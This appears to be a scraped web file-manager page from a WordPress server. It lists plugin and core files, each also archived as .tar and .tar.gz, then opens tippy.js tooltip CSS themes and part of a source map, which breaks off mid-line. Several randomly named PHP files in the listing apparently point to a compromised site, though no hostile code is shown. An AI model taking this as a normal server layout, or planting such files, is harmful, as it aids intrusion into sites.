-rw-r--r--
wpbc-core.php.tar.gz
1.94
KB
-rw-r--r--
wpbc-cron.php.tar
16
KB
-rw-r--r--
wpbc-cron.php.tar.gz
3.26
KB
-rw-r--r--
wpbc-css.php.tar
16.5
KB
-rw-r--r--
wpbc-css.php.tar.gz
3.34
KB
-rw-r--r--
wpbc-dates.php.tar
35.5
KB
-rw-r--r--
wpbc-dates.php.tar.gz
8.24
KB
-rw-r--r--
wpbc-debug.php.tar
11.5
KB
-rw-r--r--
wpbc-debug.php.tar.gz
3.01
KB
-rw-r--r--
wpbc-dev-api.php.tar
39
KB
-rw-r--r--
wpbc-dev-api.php.tar.gz
8.06
KB
-rw-r--r--
wpbc-emails.php.tar
29.5
KB
-rw-r--r--
wpbc-emails.php.tar.gz
6.09
KB
-rw-r--r--
wpbc-gcal.php.tar
20
KB
-rw-r--r--
wpbc-gcal.php.tar.gz
2.96
KB
-rw-r--r--
wpbc-gutenberg.css.tar
7.5
KB
-rw-r--r--
wpbc-gutenberg.css.tar.gz
1.61
KB
-rw-r--r--
wpbc-gutenberg.js.tar
65.5
KB
-rw-r--r--
wpbc-gutenberg.js.tar.gz
8.45
KB
-rw-r--r--
wpbc-include.php.tar
16.5
KB
-rw-r--r--
wpbc-include.php.tar.gz
3.03
KB
-rw-r--r--
wpbc-js-vars.php.tar
12
KB
-rw-r--r--
wpbc-js-vars.php.tar.gz
2.77
KB
-rw-r--r--
wpbc-js.php.tar
20
KB
-rw-r--r--
wpbc-js.php.tar.gz
5.1
KB
-rw-r--r--
wpbc-sql.php.tar
59.5
KB
-rw-r--r--
wpbc-sql.php.tar.gz
9.79
KB
-rw-r--r--
wpbc-translation.php.tar
63
KB
-rw-r--r--
wpbc-translation.php.tar.gz
12.72
KB
-rw-r--r--
wpbc.js.tar
20.5
KB
-rw-r--r--
wpbc.js.tar.gz
3.04
KB
-rw-r--r--
wpbc.php.tar
29.5
KB
-rw-r--r--
wpbc.php.tar.gz
6.27
KB
-rw-r--r--
wpbc.tar
20.5
KB
-rw-r--r--
wpbc.tar.gz
3.01
KB
-rw-r--r--
wpbc_all.js.tar
801
KB
-rw-r--r--
wpbc_all.js.tar.gz
73.12
KB
-rw-r--r--
wpbc_functions.php.tar
154
KB
-rw-r--r--
wpbc_functions.php.tar.gz
33.21
KB
-rw-r--r--
wpbc_js_print.tar
18
KB
-rw-r--r--
wpbc_js_print.tar.gz
4.76
KB
-rw-r--r--
wpbc_time-selector.css.tar
3
KB
-rw-r--r--
wpbc_time-selector.css.tar.gz
618
B
-rw-r--r--
wpbc_time-selector.js.tar
5.5
KB
-rw-r--r--
wpbc_time-selector.js.tar.gz
1.29
KB
-rw-r--r--
wpbc_times.js.tar
23.5
KB
-rw-r--r--
wpbc_times.js.tar.gz
5.4
KB
-rw-r--r--
wpbc_tinymce_btn.js.tar
4
KB
-rw-r--r--
wpbc_tinymce_btn.js.tar.gz
962
B
-rw-r--r--
wpbc_ui_both.css.tar
8.5
KB
-rw-r--r--
wpbc_ui_both.css.tar.gz
1.13
KB
-rw-r--r--
wpbc_welcome.php.tar
13.5
KB
-rw-r--r--
wpbc_welcome.php.tar.gz
3.01
KB
-rw-r--r--
wpdev-booking.php.tar
6
KB
-rw-r--r--
wpdev-booking.php.tar.gz
1.54
KB
-rw-r--r--
wpdialog.js.tar
2.5
KB
-rw-r--r--
wpdialog.js.tar.gz
439
B
-rw-r--r--
wpdialog.min.js.tar
2
KB
-rw-r--r--
wpdialog.min.js.tar.gz
306
B
-rw-r--r--
wpdialogs.tar
6
KB
-rw-r--r--
wpdialogs.tar.gz
1.43
KB
-rw-r--r--
wpdialogs.zip
3.96
KB
-rw-r--r--
wpeditimage.tar
39.5
KB
-rw-r--r--
wpeditimage.tar.gz
10.5
KB
-rw-r--r--
wpeditimage.zip
37.11
KB
-rw-r--r--
wpemoji.tar
7
KB
-rw-r--r--
wpemoji.tar.gz
1.85
KB
-rw-r--r--
wpgallery.tar
7.5
KB
-rw-r--r--
wpgallery.tar.gz
1.7
KB
-rw-r--r--
wpicons-2x.png.tar
16.5
KB
-rw-r--r--
wpicons-2x.png.tar.gz
14.38
KB
-rw-r--r--
wpicons.png.tar
8.5
KB
-rw-r--r--
wpicons.png.tar.gz
7.03
KB
-rw-r--r--
wplink.js.tar
22.5
KB
-rw-r--r--
wplink.js.tar.gz
5.94
KB
-rw-r--r--
wplink.min.js.tar
12.5
KB
-rw-r--r--
wplink.min.js.tar.gz
3.89
KB
-rw-r--r--
wplink.tar
28.5
KB
-rw-r--r--
wplink.tar.gz
7.59
KB
-rw-r--r--
wplink.zip
26.14
KB
-rw-r--r--
wpml-config.xml.tar
10.5
KB
-rw-r--r--
wpml-config.xml.tar.gz
0
B
-rw-r--r--
wpspin-1x.gif.tar
22
KB
-rw-r--r--
wpspin-1x.gif.tar.gz
8.12
KB
-rw-r--r--
wpspin-2x.gif.tar
10.5
KB
-rw-r--r--
wpspin-2x.gif.tar.gz
8.1
KB
-rw-r--r--
wpspin.gif.tar
4
KB
-rw-r--r--
wpspin.gif.tar.gz
1.86
KB
-rw-r--r--
wpspin_light-2x.gif.tar
10.5
KB
-rw-r--r--
wpspin_light-2x.gif.tar.gz
8.1
KB
-rw-r--r--
wpspin_light.gif.tar
4
KB
-rw-r--r--
wpspin_light.gif.tar.gz
1.86
KB
-rw-r--r--
wptextpattern.tar
14.5
KB
-rw-r--r--
wptextpattern.tar.gz
3.84
KB
-rw-r--r--
wptextpattern.zip
11.93
KB
-rw-r--r--
wpview.tar
11
KB
-rw-r--r--
wpview.tar.gz
2.85
KB
-rw-r--r--
wrapper.php.tar
8
KB
-rw-r--r--
wrapper.php.tar.gz
1.4
KB
-rw-r--r--
ws.png.tar
2.5
KB
-rw-r--r--
ws.png.tar.gz
909
B
-rw-r--r--
xdiff.php.tar
4
KB
-rw-r--r--
xdiff.php.tar.gz
1.01
KB
-rw-r--r--
xfn.js.tar
2.5
KB
-rw-r--r--
xfn.js.tar.gz
488
B
-rw-r--r--
xfn.min.js.tar
2
KB
-rw-r--r--
xfn.min.js.tar.gz
380
B
-rw-r--r--
xh.png.tar
9
KB
-rw-r--r--
xh.png.tar.gz
756
B
-rw-r--r--
xh.svg.tar
2.5
KB
-rw-r--r--
xh.svg.tar.gz
624
B
-rw-r--r--
xit-2x.gif.tar
4
KB
-rw-r--r--
xit-2x.gif.tar.gz
806
B
-rw-r--r--
xit-3x.gif.tar
22
KB
-rw-r--r--
xit-3x.gif.tar.gz
8.12
KB
-rw-r--r--
xit.gif.tar
3
KB
-rw-r--r--
xit.gif.tar.gz
304
B
-rw-r--r--
xk.png.tar
2.5
KB
-rw-r--r--
xk.png.tar.gz
668
B
-rw-r--r--
xygdzobf.php.tar
2
KB
-rw-r--r--
xygdzobf.php.tar.gz
198
B
-rw-r--r--
yak.php.tar
23.5
KB
-rw-r--r--
yak.php.tar.gz
9.48
KB
-rw-r--r--
ydjzxfnq.php.tar
5
KB
-rw-r--r--
ydjzxfnq.php.tar.gz
907
B
-rw-r--r--
ye.png.tar
2
KB
-rw-r--r--
ye.png.tar.gz
580
B
-rw-r--r--
yes.png.tar
2.5
KB
-rw-r--r--
yes.png.tar.gz
689
B
-rw-r--r--
yi.png.tar
7
KB
-rw-r--r--
yi.png.tar.gz
1.27
KB
-rw-r--r--
yi.svg.tar
2.5
KB
-rw-r--r--
yi.svg.tar.gz
642
B
-rw-r--r--
ym-fast-seo.php.tar
3.5
KB
-rw-r--r--
ym-fast-seo.php.tar.gz
796
B
-rw-r--r--
yo.png.tar
6.5
KB
-rw-r--r--
yo.png.tar.gz
799
B
-rw-r--r--
yo.svg.tar
2
KB
-rw-r--r--
yo.svg.tar.gz
299
B
-rw-r--r--
yt.png.tar
2.5
KB
-rw-r--r--
yt.png.tar.gz
1.13
KB
-rw-r--r--
za.png.tar
2.5
KB
-rw-r--r--
za.png.tar.gz
1.06
KB
-rw-r--r--
zh-CN.png.tar
7
KB
-rw-r--r--
zh-CN.png.tar.gz
961
B
-rw-r--r--
zh-CN.svg.tar
2
KB
-rw-r--r--
zh-CN.svg.tar.gz
397
B
-rw-r--r--
zh-TW.png.tar
7
KB
-rw-r--r--
zh-TW.png.tar.gz
612
B
-rw-r--r--
zh-TW.svg.tar
3
KB
-rw-r--r--
zh-TW.svg.tar.gz
706
B
-rw-r--r--
zh.js.tar
2.5
KB
-rw-r--r--
zh.js.tar.gz
638
B
-rw-r--r--
zh_TW.tar
227
KB
-rw-r--r--
zh_TW.tar.gz
50.55
KB
-rw-r--r--
zh_TW.zip
224.86
KB
-rw-r--r--
zhxvgqei.php.tar
2
KB
-rw-r--r--
zhxvgqei.php.tar.gz
153
B
-rw-r--r--
zigzag.svg.tar
4.5
KB
-rw-r--r--
zigzag.svg.tar.gz
495
B
-rw-r--r--
zm.png.tar
2.5
KB
-rw-r--r--
zm.png.tar.gz
958
B
-rw-r--r--
zoom.svg.tar
6
KB
-rw-r--r--
zoom.svg.tar.gz
768
B
-rw-r--r--
zu.png.tar
9
KB
-rw-r--r--
zu.png.tar.gz
758
B
-rw-r--r--
zu.svg.tar
2.5
KB
-rw-r--r--
zu.svg.tar.gz
625
B
-rw-r--r--
zvoacxwk.php.tar
70
KB
-rw-r--r--
zvoacxwk.php.tar.gz
20.5
KB
-rw-r--r--
zw.png.tar
2.5
KB
-rw-r--r--
zw.png.tar.gz
1018
B
-rw-r--r--
zxcvbn-async.js.tar
2.5
KB
-rw-r--r--
zxcvbn-async.js.tar.gz
529
B
-rw-r--r--
zxcvbn-async.min.js.tar
2
KB
-rw-r--r--
zxcvbn-async.min.js.tar.gz
357
B
-rw-r--r--
zxcvbn.min.js.tar
804.5
KB
-rw-r--r--
zxcvbn.min.js.tar.gz
390.4
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tippy.js.tar
themes/light.css 0000666 00000001263 15167156642 0007675 0 ustar 00 .tippy-box[data-theme~=light]{color:#26323d;box-shadow:0 0 20px 4px rgba(154,161,177,.15),0 4px 80px -8px rgba(36,40,47,.25),0 4px 4px -2px rgba(91,94,105,.15);background-color:#fff}.tippy-box[data-theme~=light][data-placement^=top]>.tippy-arrow:before{border-top-color:#fff}.tippy-box[data-theme~=light][data-placement^=bottom]>.tippy-arrow:before{border-bottom-color:#fff}.tippy-box[data-theme~=light][data-placement^=left]>.tippy-arrow:before{border-left-color:#fff}.tippy-box[data-theme~=light][data-placement^=right]>.tippy-arrow:before{border-right-color:#fff}.tippy-box[data-theme~=light]>.tippy-backdrop{background-color:#fff}.tippy-box[data-theme~=light]>.tippy-svg-arrow{fill:#fff} themes/wpbc-tippy-times.css 0000666 00000011144 15167156642 0012002 0 ustar 00 .wpdevelop div[id^="tippy-"]{ z-index: 90001 !important; } .tippy-box[data-theme~=wpbc-tippy-times] { background-color: #fff; background-clip: padding-box; border: 1px solid rgba(0, 8, 16, .15); color: #333; box-shadow: 0 4px 14px -2px rgba(0, 8, 16, .08) } .tippy-box[data-theme~=wpbc-tippy-times] > .tippy-backdrop { background-color: #fff } .tippy-box[data-theme~=wpbc-tippy-times] > .tippy-arrow:after, .tippy-box[data-theme~=wpbc-tippy-times] > .tippy-svg-arrow:after { content: ""; position: absolute; z-index: -1 } .tippy-box[data-theme~=wpbc-tippy-times] > .tippy-arrow:after { border-color: transparent; border-style: solid } .tippy-box[data-theme~=wpbc-tippy-times][data-placement^=top] > .tippy-arrow:before { border-top-color: #fff } .tippy-box[data-theme~=wpbc-tippy-times][data-placement^=top] > .tippy-arrow:after { border-top-color: rgba(0, 8, 16, .2); border-width: 7px 7px 0; top: 17px; left: 1px } .tippy-box[data-theme~=wpbc-tippy-times][data-placement^=top] > .tippy-svg-arrow > svg { top: 16px } .tippy-box[data-theme~=wpbc-tippy-times][data-placement^=top] > .tippy-svg-arrow:after { top: 17px } .tippy-box[data-theme~=wpbc-tippy-times][data-placement^=bottom] > .tippy-arrow:before { border-bottom-color: #fff; bottom: 16px } .tippy-box[data-theme~=wpbc-tippy-times][data-placement^=bottom] > .tippy-arrow:after { border-bottom-color: rgba(0, 8, 16, .2); border-width: 0 7px 7px; bottom: 17px; left: 1px } .tippy-box[data-theme~=wpbc-tippy-times][data-placement^=bottom] > .tippy-svg-arrow > svg { bottom: 16px } .tippy-box[data-theme~=wpbc-tippy-times][data-placement^=bottom] > .tippy-svg-arrow:after { bottom: 17px } .tippy-box[data-theme~=wpbc-tippy-times][data-placement^=left] > .tippy-arrow:before { border-left-color: #fff } .tippy-box[data-theme~=wpbc-tippy-times][data-placement^=left] > .tippy-arrow:after { border-left-color: rgba(0, 8, 16, .2); border-width: 7px 0 7px 7px; left: 17px; top: 1px } .tippy-box[data-theme~=wpbc-tippy-times][data-placement^=left] > .tippy-svg-arrow > svg { left: 11px } .tippy-box[data-theme~=wpbc-tippy-times][data-placement^=left] > .tippy-svg-arrow:after { left: 12px } .tippy-box[data-theme~=wpbc-tippy-times][data-placement^=right] > .tippy-arrow:before { border-right-color: #fff; right: 16px } .tippy-box[data-theme~=wpbc-tippy-times][data-placement^=right] > .tippy-arrow:after { border-width: 7px 7px 7px 0; right: 17px; top: 1px; border-right-color: rgba(0, 8, 16, .2) } .tippy-box[data-theme~=wpbc-tippy-times][data-placement^=right] > .tippy-svg-arrow > svg { right: 11px } .tippy-box[data-theme~=wpbc-tippy-times][data-placement^=right] > .tippy-svg-arrow:after { right: 12px } .tippy-box[data-theme~=wpbc-tippy-times] > .tippy-svg-arrow { fill: #fff } .tippy-box[data-theme~=wpbc-tippy-times] > .tippy-svg-arrow:after { background-image: url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iNiIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMCA2czEuNzk2LS4wMTMgNC42Ny0zLjYxNUM1Ljg1MS45IDYuOTMuMDA2IDggMGMxLjA3LS4wMDYgMi4xNDguODg3IDMuMzQzIDIuMzg1QzE0LjIzMyA2LjAwNSAxNiA2IDE2IDZIMHoiIGZpbGw9InJnYmEoMCwgOCwgMTYsIDAuMikiLz48L3N2Zz4=); background-size: 16px 6px; width: 16px; height: 6px } /* WPBC Customization. Above was replaced [data-theme~=light-border] to [data-theme~=wpbc-tippy-times]*/ .tippy-box[data-theme~="wpbc-tippy-times"] { /*border-radius: 0;*/ /*border: none;*/ background: #fff; } .tippy-box[data-theme~="wpbc-tippy-times"] .popover.popover_tippy{ display:block; position:relative; } .tippy-box[data-theme~="wpbc-tippy-times"] .tippy-content{ padding: 5px 10px; font-size: 0.9em; line-height: 1.7em; } /* Arrow Bottom */ .tippy-box[data-theme~="wpbc-tippy-times"][data-placement^="bottom"] > .tippy-arrow::before { border-bottom-color: rgba(129, 129, 129, 0.52); /*bottom: 20px;*/ /*top: -10px;*/ } .tippy-box[data-theme~="wpbc-tippy-times"][data-placement^="bottom"] > .tippy-arrow::after { border-top-color:transparent; } /* Arrow top */ .tippy-box[data-theme~="wpbc-tippy-times"][data-placement^="top"] > .tippy-arrow::before { border-top-color: rgba(129, 129, 129, 0.52); bottom: -9px; } .tippy-box[data-theme~="wpbc-tippy-times"][data-placement^="top"] > .tippy-arrow::after { border-top-color:transparent; } /* Fix conflict issue with Bootstrap lib */ .popover.popover_tippy { border: none; } /* Fix for Booking Listing page max width. */ .toplevel_page_wpbc .tippy-box[data-placement^="top-start"]{ max-width: 500px !important; } themes/translucent.css 0000666 00000001515 15167156642 0011130 0 ustar 00 .tippy-box[data-theme~=translucent]{background-color:rgba(0,0,0,.7)}.tippy-box[data-theme~=translucent]>.tippy-arrow{width:14px;height:14px}.tippy-box[data-theme~=translucent][data-placement^=top]>.tippy-arrow:before{border-width:7px 7px 0;border-top-color:rgba(0,0,0,.7)}.tippy-box[data-theme~=translucent][data-placement^=bottom]>.tippy-arrow:before{border-width:0 7px 7px;border-bottom-color:rgba(0,0,0,.7)}.tippy-box[data-theme~=translucent][data-placement^=left]>.tippy-arrow:before{border-width:7px 0 7px 7px;border-left-color:rgba(0,0,0,.7)}.tippy-box[data-theme~=translucent][data-placement^=right]>.tippy-arrow:before{border-width:7px 7px 7px 0;border-right-color:rgba(0,0,0,.7)}.tippy-box[data-theme~=translucent]>.tippy-backdrop{background-color:rgba(0,0,0,.7)}.tippy-box[data-theme~=translucent]>.tippy-svg-arrow{fill:rgba(0,0,0,.7)} themes/material.css 0000666 00000001153 15167156642 0010362 0 ustar 00 .tippy-box[data-theme~=material]{background-color:#505355;font-weight:600}.tippy-box[data-theme~=material][data-placement^=top]>.tippy-arrow:before{border-top-color:#505355}.tippy-box[data-theme~=material][data-placement^=bottom]>.tippy-arrow:before{border-bottom-color:#505355}.tippy-box[data-theme~=material][data-placement^=left]>.tippy-arrow:before{border-left-color:#505355}.tippy-box[data-theme~=material][data-placement^=right]>.tippy-arrow:before{border-right-color:#505355}.tippy-box[data-theme~=material]>.tippy-backdrop{background-color:#505355}.tippy-box[data-theme~=material]>.tippy-svg-arrow{fill:#505355} themes/wpbc-tippy-popover.css 0000666 00000010450 15167156642 0012352 0 ustar 00 .tippy-box[data-theme~=wpbc-tippy-popover] { background-color: #fff; background-clip: padding-box; border: 1px solid rgba(0, 8, 16, .15); color: #333; box-shadow: 0 4px 14px -2px rgba(0, 8, 16, .08) } .tippy-box[data-theme~=wpbc-tippy-popover] > .tippy-backdrop { background-color: #fff } .tippy-box[data-theme~=wpbc-tippy-popover] > .tippy-arrow:after, .tippy-box[data-theme~=wpbc-tippy-popover] > .tippy-svg-arrow:after { content: ""; position: absolute; z-index: -1 } .tippy-box[data-theme~=wpbc-tippy-popover] > .tippy-arrow:after { border-color: transparent; border-style: solid } .tippy-box[data-theme~=wpbc-tippy-popover][data-placement^=top] > .tippy-arrow:before { border-top-color: #fff } .tippy-box[data-theme~=wpbc-tippy-popover][data-placement^=top] > .tippy-arrow:after { border-top-color: rgba(0, 8, 16, .2); border-width: 7px 7px 0; top: 17px; left: 1px } .tippy-box[data-theme~=wpbc-tippy-popover][data-placement^=top] > .tippy-svg-arrow > svg { top: 16px } .tippy-box[data-theme~=wpbc-tippy-popover][data-placement^=top] > .tippy-svg-arrow:after { top: 17px } .tippy-box[data-theme~=wpbc-tippy-popover][data-placement^=bottom] > .tippy-arrow:before { border-bottom-color: #fff; bottom: 16px } .tippy-box[data-theme~=wpbc-tippy-popover][data-placement^=bottom] > .tippy-arrow:after { border-bottom-color: rgba(0, 8, 16, .2); border-width: 0 7px 7px; bottom: 17px; left: 1px } .tippy-box[data-theme~=wpbc-tippy-popover][data-placement^=bottom] > .tippy-svg-arrow > svg { bottom: 16px } .tippy-box[data-theme~=wpbc-tippy-popover][data-placement^=bottom] > .tippy-svg-arrow:after { bottom: 17px } .tippy-box[data-theme~=wpbc-tippy-popover][data-placement^=left] > .tippy-arrow:before { border-left-color: #fff } .tippy-box[data-theme~=wpbc-tippy-popover][data-placement^=left] > .tippy-arrow:after { border-left-color: rgba(0, 8, 16, .2); border-width: 7px 0 7px 7px; left: 17px; top: 1px } .tippy-box[data-theme~=wpbc-tippy-popover][data-placement^=left] > .tippy-svg-arrow > svg { left: 11px } .tippy-box[data-theme~=wpbc-tippy-popover][data-placement^=left] > .tippy-svg-arrow:after { left: 12px } .tippy-box[data-theme~=wpbc-tippy-popover][data-placement^=right] > .tippy-arrow:before { border-right-color: #fff; right: 16px } .tippy-box[data-theme~=wpbc-tippy-popover][data-placement^=right] > .tippy-arrow:after { border-width: 7px 7px 7px 0; right: 17px; top: 1px; border-right-color: rgba(0, 8, 16, .2) } .tippy-box[data-theme~=wpbc-tippy-popover][data-placement^=right] > .tippy-svg-arrow > svg { right: 11px } .tippy-box[data-theme~=wpbc-tippy-popover][data-placement^=right] > .tippy-svg-arrow:after { right: 12px } .tippy-box[data-theme~=wpbc-tippy-popover] > .tippy-svg-arrow { fill: #fff } .tippy-box[data-theme~=wpbc-tippy-popover] > .tippy-svg-arrow:after { background-image: url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iNiIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMCA2czEuNzk2LS4wMTMgNC42Ny0zLjYxNUM1Ljg1MS45IDYuOTMuMDA2IDggMGMxLjA3LS4wMDYgMi4xNDguODg3IDMuMzQzIDIuMzg1QzE0LjIzMyA2LjAwNSAxNiA2IDE2IDZIMHoiIGZpbGw9InJnYmEoMCwgOCwgMTYsIDAuMikiLz48L3N2Zz4=); background-size: 16px 6px; width: 16px; height: 6px } /* WPBC Customization. Above was replaced [data-theme~=light-border] to [data-theme~=wpbc-tippy-popover]*/ .tippy-box[data-theme~="wpbc-tippy-popover"] { border-radius: 0; border: none; background: none; } .tippy-box[data-theme~="wpbc-tippy-popover"] .popover.popover_tippy{ display:block; position:relative; } .tippy-box[data-theme~="wpbc-tippy-popover"] .tippy-content{ padding: 0; } /* Arrow Bottom */ .tippy-box[data-theme~="wpbc-tippy-popover"][data-placement^="bottom"] > .tippy-arrow::before { border-bottom-color: rgba(129, 129, 129, 0.52); /*bottom: 20px;*/ /*top: -10px;*/ } .tippy-box[data-theme~="wpbc-tippy-popover"][data-placement^="bottom"] > .tippy-arrow::after { border-top-color:transparent; } /* Arrow top */ .tippy-box[data-theme~="wpbc-tippy-popover"][data-placement^="top"] > .tippy-arrow::before { border-top-color: rgba(129, 129, 129, 0.52); } .tippy-box[data-theme~="wpbc-tippy-popover"][data-placement^="top"] > .tippy-arrow::after { border-top-color:transparent; } themes/light-border.css 0000666 00000005372 15167156642 0011155 0 ustar 00 .tippy-box[data-theme~=light-border]{background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,8,16,.15);color:#333;box-shadow:0 4px 14px -2px rgba(0,8,16,.08)}.tippy-box[data-theme~=light-border]>.tippy-backdrop{background-color:#fff}.tippy-box[data-theme~=light-border]>.tippy-arrow:after,.tippy-box[data-theme~=light-border]>.tippy-svg-arrow:after{content:"";position:absolute;z-index:-1}.tippy-box[data-theme~=light-border]>.tippy-arrow:after{border-color:transparent;border-style:solid}.tippy-box[data-theme~=light-border][data-placement^=top]>.tippy-arrow:before{border-top-color:#fff}.tippy-box[data-theme~=light-border][data-placement^=top]>.tippy-arrow:after{border-top-color:rgba(0,8,16,.2);border-width:7px 7px 0;top:17px;left:1px}.tippy-box[data-theme~=light-border][data-placement^=top]>.tippy-svg-arrow>svg{top:16px}.tippy-box[data-theme~=light-border][data-placement^=top]>.tippy-svg-arrow:after{top:17px}.tippy-box[data-theme~=light-border][data-placement^=bottom]>.tippy-arrow:before{border-bottom-color:#fff;bottom:16px}.tippy-box[data-theme~=light-border][data-placement^=bottom]>.tippy-arrow:after{border-bottom-color:rgba(0,8,16,.2);border-width:0 7px 7px;bottom:17px;left:1px}.tippy-box[data-theme~=light-border][data-placement^=bottom]>.tippy-svg-arrow>svg{bottom:16px}.tippy-box[data-theme~=light-border][data-placement^=bottom]>.tippy-svg-arrow:after{bottom:17px}.tippy-box[data-theme~=light-border][data-placement^=left]>.tippy-arrow:before{border-left-color:#fff}.tippy-box[data-theme~=light-border][data-placement^=left]>.tippy-arrow:after{border-left-color:rgba(0,8,16,.2);border-width:7px 0 7px 7px;left:17px;top:1px}.tippy-box[data-theme~=light-border][data-placement^=left]>.tippy-svg-arrow>svg{left:11px}.tippy-box[data-theme~=light-border][data-placement^=left]>.tippy-svg-arrow:after{left:12px}.tippy-box[data-theme~=light-border][data-placement^=right]>.tippy-arrow:before{border-right-color:#fff;right:16px}.tippy-box[data-theme~=light-border][data-placement^=right]>.tippy-arrow:after{border-width:7px 7px 7px 0;right:17px;top:1px;border-right-color:rgba(0,8,16,.2)}.tippy-box[data-theme~=light-border][data-placement^=right]>.tippy-svg-arrow>svg{right:11px}.tippy-box[data-theme~=light-border][data-placement^=right]>.tippy-svg-arrow:after{right:12px}.tippy-box[data-theme~=light-border]>.tippy-svg-arrow{fill:#fff}.tippy-box[data-theme~=light-border]>.tippy-svg-arrow:after{background-image:url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iNiIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMCA2czEuNzk2LS4wMTMgNC42Ny0zLjYxNUM1Ljg1MS45IDYuOTMuMDA2IDggMGMxLjA3LS4wMDYgMi4xNDguODg3IDMuMzQzIDIuMzg1QzE0LjIzMyA2LjAwNSAxNiA2IDE2IDZIMHoiIGZpbGw9InJnYmEoMCwgOCwgMTYsIDAuMikiLz48L3N2Zz4=);background-size:16px 6px;width:16px;height:6px} dist/border.css 0000666 00000002007 15167156642 0007516 0 ustar 00 .tippy-box{border:1px transparent}.tippy-box[data-placement^=top]>.tippy-arrow:after{border-top-color:inherit;border-width:8px 8px 0;bottom:-8px;left:0}.tippy-box[data-placement^=bottom]>.tippy-arrow:after{border-bottom-color:inherit;border-width:0 8px 8px;top:-8px;left:0}.tippy-box[data-placement^=left]>.tippy-arrow:after{border-left-color:inherit;border-width:8px 0 8px 8px;right:-8px;top:0}.tippy-box[data-placement^=right]>.tippy-arrow:after{border-width:8px 8px 8px 0;left:-8px;top:0;border-right-color:inherit}.tippy-box[data-placement^=top]>.tippy-svg-arrow>svg:first-child:not(:last-child){top:17px}.tippy-box[data-placement^=bottom]>.tippy-svg-arrow>svg:first-child:not(:last-child){bottom:17px}.tippy-box[data-placement^=left]>.tippy-svg-arrow>svg:first-child:not(:last-child){left:12px}.tippy-box[data-placement^=right]>.tippy-svg-arrow>svg:first-child:not(:last-child){right:12px}.tippy-arrow{border-color:inherit}.tippy-arrow:after{content:"";z-index:-1;position:absolute;border-color:transparent;border-style:solid} dist/svg-arrow.css 0000666 00000001603 15167156642 0010171 0 ustar 00 .tippy-box[data-placement^=top]>.tippy-svg-arrow{bottom:0}.tippy-box[data-placement^=top]>.tippy-svg-arrow:after,.tippy-box[data-placement^=top]>.tippy-svg-arrow>svg{top:16px;transform:rotate(180deg)}.tippy-box[data-placement^=bottom]>.tippy-svg-arrow{top:0}.tippy-box[data-placement^=bottom]>.tippy-svg-arrow>svg{bottom:16px}.tippy-box[data-placement^=left]>.tippy-svg-arrow{right:0}.tippy-box[data-placement^=left]>.tippy-svg-arrow:after,.tippy-box[data-placement^=left]>.tippy-svg-arrow>svg{transform:rotate(90deg);top:calc(50% - 3px);left:11px}.tippy-box[data-placement^=right]>.tippy-svg-arrow{left:0}.tippy-box[data-placement^=right]>.tippy-svg-arrow:after,.tippy-box[data-placement^=right]>.tippy-svg-arrow>svg{transform:rotate(-90deg);top:calc(50% - 3px);right:11px}.tippy-svg-arrow{width:16px;height:16px;fill:#333;text-align:initial}.tippy-svg-arrow,.tippy-svg-arrow>svg{position:absolute} dist/tippy-bundle.umd.min.js.map 0000666 00000337303 15167156642 0012635 0 ustar 00 {"version":3,"file":"tippy-bundle.umd.min.js","sources":["../src/browser.ts","../src/constants.ts","../src/utils.ts","../src/dom-utils.ts","../src/bindGlobalEventListeners.ts","../src/props.ts","../src/template.ts","../src/createTippy.ts","../src/index.ts","../src/addons/createSingleton.ts","../src/addons/delegate.ts","../src/plugins/animateFill.ts","../src/plugins/followCursor.ts","../src/plugins/inlinePositioning.ts","../src/plugins/sticky.ts","../build/bundle-umd.js","../src/css.ts"],"sourcesContent":["export const isBrowser =\n typeof window !== 'undefined' && typeof document !== 'undefined';\n\nexport const isIE11 = isBrowser\n ? // @ts-ignore\n !!window.msCrypto\n : false;\n","export const ROUND_ARROW =\n '<svg width=\"16\" height=\"6\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M0 6s1.796-.013 4.67-3.615C5.851.9 6.93.006 8 0c1.07-.006 2.148.887 3.343 2.385C14.233 6.005 16 6 16 6H0z\"></svg>';\n\nexport const BOX_CLASS = `__NAMESPACE_PREFIX__-box`;\nexport const CONTENT_CLASS = `__NAMESPACE_PREFIX__-content`;\nexport const BACKDROP_CLASS = `__NAMESPACE_PREFIX__-backdrop`;\nexport const ARROW_CLASS = `__NAMESPACE_PREFIX__-arrow`;\nexport const SVG_ARROW_CLASS = `__NAMESPACE_PREFIX__-svg-arrow`;\n\nexport const TOUCH_OPTIONS = {passive: true, capture: true};\n\nexport const TIPPY_DEFAULT_APPEND_TO = () => document.body;\n","import {BasePlacement, Placement} from './types';\n\nexport function hasOwnProperty(\n obj: Record<string, unknown>,\n key: string\n): boolean {\n return {}.hasOwnProperty.call(obj, key);\n}\n\nexport function getValueAtIndexOrReturn<T>(\n value: T | [T | null, T | null],\n index: number,\n defaultValue: T | [T, T]\n): T {\n if (Array.isArray(value)) {\n const v = value[index];\n return v == null\n ? Array.isArray(defaultValue)\n ? defaultValue[index]\n : defaultValue\n : v;\n }\n\n return value;\n}\n\nexport function isType(value: any, type: string): boolean {\n const str = {}.toString.call(value);\n return str.indexOf('[object') === 0 && str.indexOf(`${type}]`) > -1;\n}\n\nexport function invokeWithArgsOrReturn(value: any, args: any[]): any {\n return typeof value === 'function' ? value(...args) : value;\n}\n\nexport function debounce<T>(\n fn: (arg: T) => void,\n ms: number\n): (arg: T) => void {\n // Avoid wrapping in `setTimeout` if ms is 0 anyway\n if (ms === 0) {\n return fn;\n }\n\n let timeout: any;\n\n return (arg): void => {\n clearTimeout(timeout);\n timeout = setTimeout(() => {\n fn(arg);\n }, ms);\n };\n}\n\nexport function removeProperties<T>(obj: T, keys: string[]): Partial<T> {\n const clone = {...obj};\n keys.forEach((key) => {\n delete (clone as any)[key];\n });\n return clone;\n}\n\nexport function splitBySpaces(value: string): string[] {\n return value.split(/\\s+/).filter(Boolean);\n}\n\nexport function 